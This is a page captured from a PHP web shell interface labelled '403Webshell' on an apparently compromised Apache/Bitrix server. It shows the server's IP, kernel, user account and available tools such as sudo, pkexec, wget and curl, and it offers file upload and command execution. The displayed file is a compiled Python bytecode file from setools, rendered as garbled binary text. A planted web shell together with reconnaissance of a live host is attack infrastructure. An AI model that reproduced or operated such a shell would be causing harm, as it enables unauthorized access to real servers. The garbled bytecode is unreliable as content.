403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/setools/checker/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/setools/checker/__pycache__/emptyattr.cpython-39.opt-1.pyc
a

q�qe�
�@sXddlZddlmZddlmZmZddlmZddlm	Z	dZ
d	ZGd
d�de�ZdS)�N)�List�)�InvalidType�InvalidCheckValue�)�
CheckerModule)�config_bool_value�attr�
missing_okcsxeZdZdZdZeeef�Zdd��fdd�Z	e
dd��Zejd	d��Ze
d
d��Z
e
jdd��Z
ed�d
d�Z�ZS)�
EmptyTypeAttrz7Checker module for asserting a type attribute is empty.Zempty_typeattrN)�returncsJt��|||�t�t�|_d|_d|_d|_|�	t
�|_|�	t�|_
dS)NF)�super�__init__�loggingZ	getLogger�__name__�log�_attr�_missing_ok�_pass_by_missing�get�MISSINOK_OPTr
�ATTR_OPTr	)�self�policy�	checknameZconfig��	__class__��?/usr/lib64/python3.9/site-packages/setools/checker/emptyattr.pyrszEmptyTypeAttr.__init__cCs|jS�N)r�rrrrr	'szEmptyTypeAttr.attrc
Cs~z.|std�|jt���|j�|�|_d|_WnJtyx}z2|j	sXtd�|j|��|�||_d|_WYd}~n
d}~00dS)Nz{}: "{}" setting is missing.Fz{}: attr setting error: {}T)
r�formatrrrZlookup_typeattrrrrr
)r�value�errrr	+s 
�
��cCs|jSr)rr rrrr
=szEmptyTypeAttr.missing_okcCs.t|�|_|jr$t|jt�r$d|_nd|_dS)NTF)rr�
isinstancer	�strr)rr"rrrr
As
cCs�|j�d�|j��g}|jr2|�d�|j��nR|j�d�|j��t|j�	��}|rz|D]}|�
|j�|�|�q\n
|�
d�|j�d�|��|S)Nz$Checking type attribute {} is empty.z    {} does not exist.zMember types of {}:
z    <empty>z
{} failure(s))r�infor!r	rZlog_info�output�write�sorted�expandZlog_fail�name�appendZlog_ok�debug)rZfailures�types�type_rrr�runKs
zEmptyTypeAttr.run)r�
__module__�__qualname__�__doc__Z
check_type�	frozensetrrZcheck_configr�propertyr	�setterr
rr0�
__classcell__rrrrrs



	r)
r�typingr�	exceptionrrZ
checkermoduler�utilrrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit